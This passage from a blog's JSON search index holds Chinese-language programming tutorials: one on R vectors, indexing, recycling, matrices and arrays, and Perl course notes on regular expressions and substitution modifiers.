2 3 seq_along 比較常見的用法是配合迴圈一起使用：\nfor(i in seq_along(input)) { print(input[i]) } 迴圈的使用我們在後續的教學會說明，這裡只需要有概念即可。\n向量長度 所有的向量都有一個長度屬性，記錄該向量所含有的元素數量，我們可以使用 length 函數來檢查向量的長度：\nlength(1:3) [1] 3 邏輯向量的用法也相同：\nlength(c(TRUE, FALSE, NA)) [1] 3 至於字元向量的話，也可以使用 length 來檢查向量的長度：\nstr \u0026lt;- c(\u0026#34;hello\u0026#34;, \u0026#34;foo\u0026#34;, \u0026#34;bar\u0026#34;) length(str) [1] 3 length 函數所顯示的是向量中有幾個元素，如果想要知道字串的長度，可以使用 nchar 函數來計算：\nnchar(str) [1] 5 3 3 length 也可以讓使用者直接改變向量的長度屬性，但這樣的做法比較不常使用，而且會讓程式碼不易閱讀。如果將向量的長度降低，超出向量長度的元素會被直接移除：\nx \u0026lt;- 1:10 length(x) \u0026lt;- 3 x [1] 1 2 3 而如果增加向量的長度，多出來的元素都會是 NA：\nlength(x) \u0026lt;- 6 x [1] 1 2 3 NA NA NA 在處理大量運算，需要預先配置記憶體時，有時候就會使用增加向量長度的方式來處理。\n向量元素名稱 R 的向量有一個很特別的地方就是每一個元素都可以有一個自己的名稱，替向量的元素標上個別的名稱可以讓程式碼更容易被閱讀。在建立向量時，我們可以使用 name = value 的方式指定元素的名稱：\nc(foo = 2, bar = 4) foo bar 2 4 如果遇到空白或是其他特殊字元，可以使用雙引號將名稱包起來：\nc(foo = 2, bar = 4, \u0026#34;hello world\u0026#34; = 6, 8) foo bar hello world 2 4 6 8 一般的向量可以使用 names 函數來指定向量的名稱：\nx \u0026lt;- 1:4 names(x) \u0026lt;- c(\u0026#34;foo\u0026#34;, \u0026#34;bar\u0026#34;, \u0026#34;hello world\u0026#34;, \u0026#34;\u0026#34;) x foo bar hello world 1 2 3 4 若要取得向量元素的名稱，可以使用 names 函數：\nnames(x) [1] \"foo\" \"bar\" \"hello world\" \"\" 如果遇到沒有名稱的向量，names 會傳回 NULL：\nnames(1:10) NULL 索引向量 若要存取向量中部分的元素，可以使用索引向量（indexing vectors）配合中括號（[]）來達成，而索引向量的使用方式有四種，分別為邏輯向量、正整數向量、負整數向量與字元向量，以下是這四種索引向量的使用方式。\n邏輯向量 這種情況下，索引向量必須和被挑選元素的向量長度一致。向量中對應索引向量為 TRUE 的元素將會被選出，而那些對應 FALSE 的元素則被忽略。例如：\nx \u0026lt;- c(1, 2, NA,4) y \u0026lt;- x[!is.na(x)] 這會將 x 向量中非 NA 的元素選出來，並依照原本的順序指定給 y，若 x 中包含 NA 元素，則所得到的 y 向量長度會比 x 向量的長度短。\n另一個較複雜的例子：\nx \u0026lt;- c(0, -1, -2, NA, 4, 6) x \u0026lt;- x + 1 z \u0026lt;- x[(!is.na(x)) \u0026amp; x \u0026gt; 0] 這個例子是把 x 每個元素都加一，然後選出非 NA 且大於 0 的元素，依照原本的順序指定給 z。\n正整數向量 這種情況下，索引向量中的每個元素必須是 {1, 2, …, length(x)} 的其中一個（length(x) 為向量 x 的長度），索引向量中索引對應的元素將會被選出，並且依照索引向量中的順序傳回，這種索引向量的長度沒有限制，所選出的向量長度會與索引向量的長度相同，例如 x[6] 表示 x 的第六個元素，此外也可以重複取出多個元素：\nx \u0026lt;- 10:20 y \u0026lt;- x[1:5] z \u0026lt;- x[ c(1, 2, 3, 1, 2, 3) ] 這樣所得到的 y 為 x 的前 5 個元素，而 z 則為 c(10, 11, 12, 10, 11, 12)。\n以下是一個更複雜的例子：\nlabs \u0026lt;- c(\u0026#34;x\u0026#34;, \u0026#34;y\u0026#34;)[rep(c(1, 2, 2, 1), times = 4)] 會產生一個長度為 16，由 \u0026quot;x\u0026quot;, \u0026quot;y\u0026quot;, \u0026quot;y\u0026quot;, \u0026quot;x\u0026quot; 重複四次而構成的向量。\nrep() 為重複某個向量的函數。\n負整數向量 這種索引向量與正整數向量規則一樣，負數的意思是將指定的元素排除，將剩餘的元素選出，例如：\nx \u0026lt;- 10:20 y \u0026lt;- x[-(1:5)] 所得到的 y 為 c(15, 16, 17, 18, 19, 20)。\n字元向量 這種索引向量只能用在可以用 names 屬性區別其元素的向量，在使用之前必須以 names 函數先設定 names 屬性，例如：\nfruit \u0026lt;- c(5, 10, 1, 20) names(fruit) \u0026lt;- c(\u0026#34;orange\u0026#34;, \u0026#34;banana\u0026#34;, \u0026#34;apple\u0026#34;, \u0026#34;peach\u0026#34;) lunch \u0026lt;- fruit[\u0026#34;apple\u0026#34;] 使用字元向量取出多個元素：\ndinner \u0026lt;- fruit[c(\u0026#34;orange\u0026#34;, \u0026#34;peach\u0026#34;)] 使用字串向量的好處就是容易記，這在使用 data frames 的時候效果比較明顯。\n以上就是四種索引向量的使用方式。\n索引運算式也可以用在指定向量的元素上，在這種情況下只有那些被索引向量指定的元素會被更動，例如：\nx \u0026lt;- c(1, 2, NA, NA, 3) x[is.na(x)] \u0026lt;- 0 只會將 x 向量中的 NA 元素設為 0，其餘的元素不變。而\ny \u0026lt;- c(-1, -2, 0, 1, 2) y[y \u0026lt; 0] \u0026lt;- -y[y \u0026lt; 0] 是將 y 取絕對值，與下面這個作法相同\ny \u0026lt;- c(-1, -2, 0, 1, 2) y \u0026lt;- abs(y) 例外狀況 雖然索引向量的使用方式有好多種，通常一個問題可以有好多種解決方案，但是這幾種索引向量不可以隨意混用，例如若把正整數向量與負整數向量混用的話，會產生錯誤，而且也不具任何意義：\nx \u0026lt;- 6:10 x[c(2, -2)] 這樣會產生錯誤：\nError in x[c(2, -2)] : 只有負數下標中才能有 0 如果索引向量中含有缺失值 NA，則篩選出來的向量中對應的位置也會是 NA：\nx[c(1, NA, 5)] [1] 6 NA 10 這是邏輯向量的例子：\nx[c(TRUE, FALSE, NA, FALSE, TRUE)] [1] 6 NA 10 缺失值如果跟負整數向量混用的話，也會造成沒有意義的錯誤：\nx[c(-2, NA)] Error in x[c(-2, NA)] : 只有負數下標中才能有 0 如果正整數索引向量指定的索引超出向量的長度，就會產生 NA（不會有錯誤訊息）：\nx[7] [1] NA 這種狀況雖然不會產生錯誤，但是在撰寫程式時建議還是確保索引向量不要超過向量為佳，這樣可以降低程式出錯的機率。\n如果使用浮點數作為索引向量的值，這些浮點數小數點以下的值會被捨去，自動被轉換為整數，例如：\nx[2.7] # 2.7 轉為 2 [1] 7 x[-2.7] # -2.7 轉為 -2 [1] 6 8 9 10 which 函數 which 函數可以檢查邏輯向量，傳回該向量中所有 TRUE 元素的位置，例如：\nx \u0026lt;- 10:20 which(x %% 7 == 3) [1] 1 8 這個例子是利用 which 找出 x 向量中所有除以 7 餘數為 3 的元素位置。\n另外 which.min 與 which.max 分別等同於 which(min(x)) 與 which(max(x))，不過其的執行效率更好：\nwhich.min(x) [1] 1 which.max(x) [1] 11 重複向量 在處理向量的運算時，如果遇到長度不同的向量，R 就會將長度較短的向量自動重複，直到其長度跟最長的向量相同為止，例如：\n1:3 + 1:9 [1] 2 4 6 5 7 9 8 10 12 這裡的 1:3 向量長度為 3，而 1:9 向量長度為 9，所以 R 會將 1:3 重複 3 次，變成 c(1, 2, 3, 1, 2, 3, 1, 2, 3) 之後，再跟 1:9 進行運算。\n當遇到向量與常數相加時，也是依據同樣的規則處理：\n1:5 + 1 [1] 2 3 4 5 6 這裡的 1 在 R 中其實是一個長度為 1 的向量，而為了要跟 1:5 這個長度為 5 的向量進行運算，R 會將 1 自動重複 5 次，變成 c(1, 1, 1, 1, 1) 之後再進行運算。\n如果遇到最長向量長度不是較短向量長度的整數倍時，最後一次的向量重複內容就會不完整（超過的部分會捨去），並且也會產生警告訊息：\n1:2 + 1:5 [1] 2 4 4 6 6 Warning message: In 1:2 + 1:5 : 較長的物件長度並非較短物件長度的倍數 以這個例子來說，1:2 會重複 2.5 次，變成 c(1, 2, 1, 2, 1) 之外再進行運算。\n雖然 R 可以自動處理向量長度不同的問題，但是除了將向量加上一個常數之外，通常不建議過度運用這樣的特性，因為這會造成程式碼在閱讀上的混淆，也容易產生 bugs，最好的方式還是建立相同長度的向量後再進行運算。\n如果要產生重複性的向量，可以使用 rep 這個函數，其第一個參數是要重複的向量，而第二個參數則是重複次數：\nrep(1:4, 3) [1] 1 2 3 4 1 2 3 4 1 2 3 4 如果要讓每一個元素個別重複之後再串接起來，可以使用 each 參數：\nrep(1:4, each = 3) [1] 1 1 1 2 2 2 3 3 3 4 4 4 也可以透過向量的方式指定重複次數，讓每一個元素重複不同的次數：\nrep(1:4, 4:1) [1] 1 1 1 1 2 2 2 3 3 4 另外也可以直接指定輸出的向量長度，讓 rep 自動計算重複的次數：\nrep(1:4, length.out = 7) [1] 1 2 3 4 1 2 3 rep.int 是一個執行效率較高的版本，大部分的狀況下可以代替 rep：\nrep.int(1:4, 3) [1] 1 2 3 4 1 2 3 4 1 2 3 4 rep_len 是另一個高執行效率的版本：\nrep_len(1:4, 7) [1] 1 2 3 4 1 2 3 矩陣與陣列 R 中的向量（vectors）是用來儲存一維資料的變數類型，而如果需要儲存二維以上的資料，就要使用陣列（arrays）來處理，而二維的陣列就是我們所熟知的矩陣（matrices）。\n建立矩陣與陣列 R 的矩陣可以使用 matrix 函數建立，例如：\nmatrix(1:6, nrow = 2, ncol = 3) 這樣就會建立一個 2 x 3 的矩陣：\n[,1] [,2] [,3] [1,] 1 3 5 [2,] 2 4 6 byrow 參數可以調整資料排列的方向：\nmatrix(1:6, nrow = 2, ncol = 3, byrow = TRUE) [,1] [,2] [,3] [1,] 1 2 3 [2,] 4 5 6 矩陣的行與列可以使用 dimnames 參數指定名稱：\nmatrix(1:6, nrow = 2, ncol = 3, dimnames = list(c(\u0026#34;row1\u0026#34;, \u0026#34;row2\u0026#34;), c(\u0026#34;C.1\u0026#34;, \u0026#34;C.2\u0026#34;, \u0026#34;C.3\u0026#34;))) C.1 C.2 C.3 row1 1 3 5 row2 2 4 6 多維度的陣列則是使用 array 函數來建立：\narray(1:24, dim = c(4, 3, 2)) , , 1 [,1] [,2] [,3] [1,] 1 5 9 [2,] 2 6 10 [3,] 3 7 11 [4,] 4 8 12 , , 2 [,1] [,2] [,3] [1,] 13 17 21 [2,] 14 18 22 [3,] 15 19 23 [4,] 16 20 24 多維度的陣列也可以使用 dimnames 參數指定每個維度的資料名稱：\narray(1:24, dim = c(4, 3, 2), dimnames = list( X = c(\u0026#34;A1\u0026#34;,\u0026#34;A2\u0026#34;,\u0026#34;A3\u0026#34;,\u0026#34;A4\u0026#34;), Y = c(\u0026#34;B1\u0026#34;, \u0026#34;B2\u0026#34;, \u0026#34;B3\u0026#34;), Z = c(\u0026#34;C1\u0026#34;, \u0026#34;C2\u0026#34;))) , , Z = C1 Y X B1 B2 B3 A1 1 5 9 A2 2 6 10 A3 3 7 11 A4 4 8 12 , , Z = C2 Y X B1 B2 B3 A1 13 17 21 A2 14 18 22 A3 15 19 23 A4 16 20 24 事實上二維的陣列就是矩陣，不管使用 matrix 或是 array 來產生，結果都是一樣的：\nx.matrix \u0026lt;- matrix(1:6, nrow = 2, ncol = 3) x.array \u0026lt;- array(1:6, dim = c(2, 3)) identical(x.matrix, x.array) [1] TRUE 如果我們檢查 x.array 的類型，會發現它實際上就是一個矩陣變數：\nclass(x.array) [1] \"matrix\" nrow 與 ncol 函數可以檢查矩陣的列數與行數：\nnrow(x.matrix) [1] 2 ncol(x.matrix) [1] 3 nrow 與 ncol 函數若用於多維度的陣列，會傳回前兩個維度的長度。\nx.array \u0026lt;- array(1:60, dim = c(3, 4, 5)) nrow(x.array) [1] 3 ncol(x.array) [1] 4 length 函數也可以用於矩陣或是陣列，他會計算矩陣或陣列中所有元素的個數（也就是所有維度長度的乘積）：\nlength(x.matrix) [1] 6 length(x.array) [1] 60 若要改變矩陣或陣列的維度，可以使用 dim 指定新的維度：\nx.matrix \u0026lt;- matrix(1:12, nrow = 4, ncol = 3) dim(x.matrix) \u0026lt;- c(2, 6) x.matrix [,1] [,2] [,3] [,4] [,5] [,6] [1,] 1 3 5 7 9 11 [2,] 2 4 6 8 10 12 甚至可以透過改變維度，將二維矩陣轉換為高維度的陣列：\ndim(x.matrix) \u0026lt;- c(2, 3, 2) x.matrix , , 1 [,1] [,2] [,3] [1,] 1 3 5 [2,] 2 4 6 , , 2 [,1] [,2] [,3] [1,] 7 9 11 [2,] 8 10 12 nrow、ncol 與 dim 這幾個函數如果用在一維的向量時，會傳回 NULL，如果想要避免這個問題，可以改用 NROW 與 NCOL 函數，這兩個函數的作用跟 nrow 與 ncol 相同，但是當遇到一維的向量時也可以傳回有意義的值：\nx.vector \u0026lt;- 1:5 nrow(x.vector) NULL NROW(x.vector) [1] 5 ncol(x.vector) NULL NCOL(x.vector) [1] 1 行、列與維度的名稱 矩陣與陣列各個維度的名稱可以使用 rownames、colnames 與 dimnames 函數來取得：\nx.matrix \u0026lt;- matrix(1:6, nrow = 2, ncol = 3, dimnames = list(c(\u0026#34;row1\u0026#34;, \u0026#34;row2\u0026#34;), c(\u0026#34;C.1\u0026#34;, \u0026#34;C.2\u0026#34;, \u0026#34;C.3\u0026#34;))) rownames(x.matrix) [1] \"row1\" \"row2\" colnames(x.matrix) [1] \"C.1\" \"C.2\" \"C.3\" dimnames(x.matrix) [[1]] [1] \"row1\" \"row2\" [[2]] [1] \"C.1\" \"C.2\" \"C.3\" 如果是陣列的話，用法也相同：\nx.array \u0026lt;- array(1:24, dim = c(4, 3, 2), dimnames = list( X = c(\u0026#34;A1\u0026#34;,\u0026#34;A2\u0026#34;,\u0026#34;A3\u0026#34;,\u0026#34;A4\u0026#34;), Y = c(\u0026#34;B1\u0026#34;, \u0026#34;B2\u0026#34;, \u0026#34;B3\u0026#34;), Z = c(\u0026#34;C1\u0026#34;, \u0026#34;C2\u0026#34;))) rownames(x.array) [1] \"A1\" \"A2\" \"A3\" \"A4\" colnames(x.array) [1] \"B1\" \"B2\" \"B3\" dimnames(x.array) $X [1] \"A1\" \"A2\" \"A3\" \"A4\" $Y [1] \"B1\" \"B2\" \"B3\" $Z [1] \"C1\" \"C2\" 陣列索引 矩陣與高維度的陣列的索引用法跟一維的向量類似，只是索引的維度變高而已：\nx.matrix[2, 1] [1] 2 x.array[3, 2, 2] [1] 19 也可以拿數值索引與維度的名稱混合使用：\nx.matrix[2, c(\u0026#34;C.2\u0026#34;, \u0026#34;C.3\u0026#34;)] C.2 C.3 4 6 x.array[3, c(\u0026#34;B2\u0026#34;, \u0026#34;B3\u0026#34;), \u0026#34;C2\u0026#34;] B2 B3 19 23 若不指定維度的索引，就會選取整個維度的所有資料：\nx.matrix[2, ] C.1 C.2 C.3 2 4 6 x.array[3, 2, ] C1 C2 7 19 x.array[3, , ] Z Y C1 C2 B1 3 15 B2 7 19 B3 11 23 合併矩陣 假設我們有兩個矩陣：\nx.matrix1 \u0026lt;- matrix(1:6, nrow = 3, ncol = 2) x.matrix2 \u0026lt;- matrix(11:16, nrow = 3, ncol = 2) 如果使用 c 函數合併這兩個矩陣的話，所有的資料都會被轉換為一維的向量：\nc(x.matrix1, x.matrix2) [1] 1 2 3 4 5 6 11 12 13 14 15 16 而 cbind 與 rbind 則可以讓資料保持矩陣的結構來合併：\ncbind(x.matrix1, x.matrix2) [,1] [,2] [,3] [,4] [1,] 1 4 11 14 [2,] 2 5 12 15 [3,] 3 6 13 16 rbind(x.matrix1, x.matrix2) [,1] [,2] [1,] 1 4 [2,] 2 5 [3,] 3 6 [4,] 11 14 [5,] 12 15 [6,] 13 16 陣列的運算 矩陣在搭配四則運算子（+、-、*、/）時，會對矩陣中個別元素進行運算：\nx.matrix1 + x.matrix2 [,1] [,2] [1,] 12 18 [2,] 14 20 [3,] 16 22 x.matrix1 * x.matrix2 [,1] [,2] [1,] 11 56 [2,] 24 75 [3,] 39 96 若要將矩陣轉置，可以使用 t 函數：\nt(x.matrix1) [,1] [,2] [,3] [1,] 1 2 3 [2,] 4 5 6 而矩陣的乘法運算子是 %*%（內積）與 %o%（外積）：\nx.matrix1 %*% t(x.matrix1) [,1] [,2] [,3] [1,] 17 22 27 [2,] 22 29 36 [3,] 27 36 45 1:3 %o% 4:6 [,1] [,2] [,3] [1,] 4 5 6 [2,] 8 10 12 [3,] 12 15 18 矩陣的外積也可以使用 outer 函數，它跟 %o% 運算子是一樣的：\nouter(1:3, 4:6) [,1] [,2] [,3] [1,] 4 5 6 [2,] 8 10 12 [3,] 12 15 18 冪次運算子（^）作用在矩陣上的時候，也是會對個別元素進行運算，所以在解反矩陣時，不能使用矩陣 -1 次方的方式計算：\nm \u0026lt;- matrix(c(1, 0, 1, 5, -3, 1, 2, 4, 7), nrow = 3) m ^ -1 [,1] [,2] [,3] [1,] 1 0.2000000 0.5000000 [2,] Inf -0.3333333 0.2500000 [3,] 1 1.0000000 0.1428571 反矩陣要使用 solve 函數來計算：\nm.inv \u0026lt;- solve(m) m.inv [,1] [,2] [,3] [1,] -25 -33 26 [2,] 4 5 -4 [3,] 3 4 -3 m %*% m.inv [,1] [,2] [,3] [1,] 1 0 0 [2,] 0 1 0 [3,] 0 0 1","permalink":"https://blog.gtwang.org/r/r-vectors-matrices-and-arrays/","summary":"\u003cp\u003e這裡介紹 R 向量的詳細使用方式，以及如何運用矩陣與陣列處理高維度的資料。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"向量vectors\"\u003e向量（Vectors）\u003c/h2\u003e\n\u003cp\u003e在 R 中要建立向量最常使用的方式就是使用 \u003ccode\u003ec\u003c/code\u003e 函數，例如：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-r\" data-lang=\"r\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nf\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cpre class=\"output\"\u003e[1] 1 3 5\u003c/pre\u003e\n\u003cp\u003e另外使用冒號運算子（\u003ccode\u003e:\u003c/code\u003e）也是很常用的向量建立方式：\u003c/p\u003e","title":"R 向量、矩陣與陣列"},{"content":"常規表達式（一） # 常規表達式(一) (Regular expression) # (1) 基本樣式比對 \u0026#34;=~\u0026#34; 與 \u0026#34;!~\u0026#34; # 比對字串，成功傳回 true # 失敗傳回 false \u0026#34;Hello World\u0026#34; =~ /World/; $string = \u0026#34;Hello World!\u0026#34;; # 若比對成功，則 print print \u0026#34;It matches\\n\u0026#34; if $string =~ /World/; # 若比對失敗，則 print print \u0026#34;It doesn\u0026#39;t match\\n\u0026#34; if $string !~ /World/; $_ = \u0026#34;Hello World\u0026#34;; # 不指定比對目標，預設為 $_ print \u0026#34;It matches\\n\u0026#34; if /World/; # 大小寫不同，比對失敗 \u0026#34;Hello World\u0026#34; =~ /world/; # 空白字元也視為一般字元，比對成功 \u0026#34;Hello World\u0026#34; =~ /o W/; # 比對失敗 \u0026#34;Hello World\u0026#34; =~ /World /; # (2) 自訂分隔字元 # 等同於 \u0026#34;Hello World\u0026#34; =~ /World/; \u0026#34;Hello World\u0026#34; =~ m!World!; \u0026#34;Hello World\u0026#34; =~ m{World}; # The same # 比對成功，\u0026#39;/\u0026#39; 現在變成一般字元 \u0026#34;/usr/bin/perl\u0026#34; =~ m\u0026#34;/perl\u0026#34;; # (3) 中介字符 (metacharacter) 與字符集 (character class) # ^：比對行首 \u0026#34;Hello World\u0026#34; =~ /^Hello/; # 比對成功 # 比對失敗，因為 World 不在行首 \u0026#34;Hello World\u0026#34; =~ /^World/; # $：比對行尾 \u0026#34;Hello World\u0026#34; =~ /World$/; # 比對成功 # 比對失敗，因為 World 不在行尾 \u0026#34;Hello World\u0026#34; =~ /Hello$/; # .：比對除了換行(\\n)以外的任意一個字元 \u0026#34;Hello World\u0026#34; =~ /Wo.ld/; # 比對成功 # *：比對其前一個項目零次以上 (as many as possible) # +：比對其前一個項目一次以上 (as many as possible) # ?：比對其前一個項目零次或一次 (as many as possible) \u0026#34;Hello World\u0026#34; =~ /Hel*o/; # l* 代表 \u0026#39;l\u0026#39; 零次以上，比對成功 \u0026#34;Hello World\u0026#34; =~ /Hel+o/; # l* 代表 \u0026#39;l\u0026#39; 一次以上，比對成功 # .* 代表 任意字元零次以上，比對成功， # 但 Perl 所比對的結果是： # \u0026#39;That is a cat, not a hat\u0026#39; 不是 \u0026#39;That\u0026#39; \u0026#34;That is a cat, not a hat.\u0026#34; =~ /T.*at/; # 加入 \u0026#39;?\u0026#39; 使比對到的資料越短越好， # 此時 Perl 所比對的結果是：\u0026#39;That\u0026#39; \u0026#34;That is a cat, not a hat.\u0026#34; =~ /T.*?at/; # []：比對中括號中任意一個字符 # 比對開頭是 A 或 B 或 C，比對失敗 \u0026#34;Hat\u0026#34; =~ /^[ABC]/; # 比對開頭是 A 或 B 或 C 或 D，比對成功 \u0026#34;Cat\u0026#34; =~ /^[A-D]/; # [^]：與 [] 相反，比對不在中括號中任意一個字符 # ^[^ABC] 比對開頭不是 A 或 B 或 C 的，比對成功 \u0026#34;Hat\u0026#34; =~ /^[^ABC]/; # 比對非英文字結尾，比對成功 \u0026#34;Hello World.\u0026#34; =~ /[^A-Za-z]$/; # |：比對任意一組字符 # 比對 cat 或 dog，比對成功 \u0026#34;Mary has a cat.\u0026#34; =~ /cat|dog/; # {}：指定前一個項目出現的次數 # l{1,3} 代表 \u0026#39;l\u0026#39; 一到三次，比對成功 \u0026#34;Helllo World\u0026#34; =~ /Hel{1,3}o/; # l{2,} 代表 \u0026#39;l\u0026#39; 兩次以上，比對成功 \u0026#34;Helllo World\u0026#34; =~ /Hel{2,}o/; # l{2} 代表 \u0026#39;l\u0026#39; 兩次，比對失敗 \u0026#34;Helllo World\u0026#34; =~ /Hel{2}o/; # \\b：比對單字邊界 # \\B：比對非單字邊界 # 比對 Hello 這個單字，比對成功 \u0026#34;Hello World\u0026#34; =~ /\\bHello\\b/; # 比對 Hello 這個單字，比對失敗 \u0026#34;Helloworld\u0026#34; =~ /\\bHello\\b/; # 比對成功 \u0026#34;Helloworld\u0026#34; =~ /\\bHello\\B/; # 比對 word 這個單字，比對成功 \u0026#39;This is a \u0026#34;word\u0026#34;.\u0026#39; =~ /\\bword\\b/; # \\w：word [a-zA-Z0-9_] # \\W：non-word [^a-zA-Z0-9_] # \\s：space [ \\t\\n\\r\\f\\v] # \\S：non-space [^ \\t\\n\\r\\f\\v] # \\d：digit [0-9] # \\D：non-digit [^0-9] \u0026#34;Hello World\u0026#34; =~ /^\\w+\\W\\w+$/; # 比對成功 # Reference : perlre(1) 常規表達式（二） # 常規表達式(二) # (1) s/// 取代 $_ = \u0026#34;Hello World.\\n\u0026#34;; s/World/Bill/; # 取代 Hello 成 Bill print; # Hello Bill. $_ = \u0026#34;Hello World.\\n\u0026#34;; $word = \u0026#34;World\u0026#34;; s/$word/Bill/; # 可內嵌變數 print; # (2) 使用 () 儲存變數 $_ = \u0026#34;Every Dog Has It\u0026#39;s Day.\u0026#34;; # 比對行首的第一個與第二個字，並儲存至變數 $1 與 $2 /^(\\w+)\\W+(\\w+)/; print \u0026#34;The first 2 words are: $1 and $2\u0026#34;; $_ = \u0026#34;Every Dog Has It\u0026#39;s Day.\u0026#34;; s/(\\w+)/\u0026lt;$1\u0026gt;/g; print; # \u0026lt;Every\u0026gt; \u0026lt;Dog\u0026gt; \u0026lt;Has\u0026gt; \u0026lt;It\u0026gt;\u0026#39;\u0026lt;s\u0026gt; \u0026lt;Day\u0026gt;. $_ = \u0026#34;barbarian\u0026#34;; s/(\\w+)\\1/$1/; # 抓出重複的地方，去掉重複的地方 print; # barian # (3) Modifiers # g：Match globally, i.e., find all occurrences. $_ = \u0026#34;Hello World.\\n\u0026#34;; s/l/\u0026lt;L\u0026gt;/; # 只取代第一個 \u0026#39;l\u0026#39; print; # He\u0026lt;L\u0026gt;lo World. $_ = \u0026#34;Hello World.\\n\u0026#34;; s/l/\u0026lt;L\u0026gt;/g; # 取代所有的 \u0026#39;l\u0026#39; print; # He\u0026lt;L\u0026gt;\u0026lt;L\u0026gt;o Wor\u0026lt;L\u0026gt;d. # i：Do case-insensitive pattern matching. # 忽略大小寫差別，比對成功 \u0026#34;Hello World\u0026#34; =~ /hello world/i; # o：Compile pattern only once. $word = \u0026#34;something\u0026#34;; while($something){ # something ... s/$word/$another/o; # 加入 \u0026#39;o\u0026#39;，只編譯一次，可加快執行效率 # something ... } $str = \u0026#34;abcdefg\\n\u0026#34;; $str =~ s/($_)/\u0026lt;$1\u0026gt;/o for(\u0026#39;c\u0026#39; .. \u0026#39;f\u0026#39;); print $str; # ab\u0026lt;\u0026lt;\u0026lt;\u0026lt;c\u0026gt;\u0026gt;\u0026gt;\u0026gt;defg ，似乎不是我要的 # m：Treat string as mutiple lines. # That is, change \u0026#34;^\u0026#34; and \u0026#34;$\u0026#34; from matching the # start or end of the string to matching the start # or end of any line anywhere within the string. $_ = \u0026#34;abc\\ndef\\nghi\\n\u0026#34;; s/^(.)/\\u$1/mg; # 把行首第一個字母變大寫 print; # 結果正確，\u0026#34;Abc\\nDef\\nGhi\u0026#34; $_ = \u0026#34;abc\\ndef\\nghi\\n\u0026#34;; s/^(.)/\\u$1/g; # 若沒有加上 m print; # 結果變成，\u0026#34;Abc\\ndef\\nghi\u0026#34; $_ = \u0026#34;abc\\ndef\\nghi\\n\u0026#34;; s/(.)$/\\u$1/mg; # 同理 print; # 結果為，\u0026#34;abC\\ndeF\\nghI\u0026#34; # s：Treat string as single line. That is, # change \u0026#34;.\u0026#34; to match any character whatsoever, # even a newline, which normally it would not match. $_ = \u0026#34;abc\\ndef\\nghi\\n\u0026#34;; # 加入 s ，使 \u0026#39;.\u0026#39; 可比對 \u0026#34;\\n\u0026#34;，比對成功。 print \u0026#34;Matched\u0026#34; if /a.*i/s; # 不加 s ，則比對失敗。 print \u0026#34;Matched\u0026#34; if /a.*i/; ","permalink":"https://blog.gtwang.org/perl/perl-course-notes-6/","summary":"\u003ch2 id=\"常規表達式一\"\u003e常規表達式（一）\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 常規表達式(一) (Regular expression)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (1) 基本樣式比對 \u0026#34;=~\u0026#34; 與 \u0026#34;!~\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對字串，成功傳回 true\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 失敗傳回 false\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /World/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$string\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Hello World!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 若比對成功，則 print\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;It matches\\n\u0026#34;\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"nv\"\u003e$string\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /World/\u003c/span\u003e\u003cspan 